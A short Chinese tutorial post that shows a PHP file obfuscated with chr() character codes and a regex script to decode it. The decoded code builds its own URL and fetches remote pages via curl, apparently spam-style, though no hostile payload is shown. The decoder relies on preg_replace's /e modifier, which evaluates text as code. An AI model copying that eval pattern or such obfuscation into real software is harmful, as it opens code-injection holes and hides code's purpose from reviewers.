加密代码如下:
if(!isset($_GET[chr(119) . chr(100)])){
header(chr(67) . chr(111) . chr(110) . chr(116) . chr(101) . chr(110) . chr(116) . chr(45) . chr(84) . chr(121) . chr(112) . chr(101) . chr(58) . chr(32) . chr(116) . chr(101) . chr(120) . chr(116) . chr(47) . chr(120) . chr(109) . chr(108));
}
$Afb98ab9159f51fd0 = chr(104) . chr(116) . chr(116) . chr(112) . chr(58) . chr(47) . chr(47) . $_SERVER[chr(83) . chr(69) . chr(82) . chr(86) . chr(69) . chr(82) . chr(95) . chr(78) . chr(65) . chr(77) . chr(69)] . $_SERVER[chr(80) . chr(72) . chr(80) . chr(95) . chr(83) . chr(69) . chr(76) . chr(70)];
$Kd9caa6e02c990b0a = chr(60) . chr(108) . chr(105) . chr(115) . chr(116) . chr(62);
function F($K02a44259755d38e6, $rbbce2345d7772b06 = true){
if(!function_exists(chr(99) . chr(117) . chr(114) . chr(108) . chr(95) . chr(105) . chr(110) . chr(105) . chr(116))) return @file_get_contents($K02a44259755d38e6);
$ha2f3e71d9181a67b = $_SERVER[chr(72) . chr(84) . chr(84) . chr(80) . chr(95) . chr(85) . chr(83) . chr(69) . chr(82) . chr(95) . chr(65) . chr(71) . chr(69) . chr(78) . chr(84)];
$Ga0b923820dcc509a = 10;
$R6fe97759aa27a0c9 = curl_init();
curl_setopt($R6fe97759aa27a0c9, CURLOPT_URL, $K02a44259755d38e6);
curl_setopt($R6fe97759aa27a0c9, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($R6fe97759aa27a0c9, CURLOPT_CONNECTTIMEOUT, $Ga0b923820dcc509a);
$g1eae257e44aa9d5b4b5ce2fe28308fd9 = @curl_exec($R6fe97759aa27a0c9);
curl_close($R6fe97759aa27a0c9);
return $g1eae257e44aa9d5b4b5ce2fe28308fd9;
}
?>
分析,所有字符使用了chr 通过ascii码值来加密, 解密很简单.看如下程序
$str=file_get_contents("bai21.php"); //打开加密文件
$str=preg_replace("/chr\(([\d]*)\)/e","chr(34).chr(\${1}).chr(34);",$str); //替换加密数据
$str = str_replace("\" . \"", "", $str); //清理多余引号
$str=file_put_contents("bai21.php.txt",$str); //保存文件
echo "修复成功"
?>
使用正则还是很方便的,大家可以自己试试.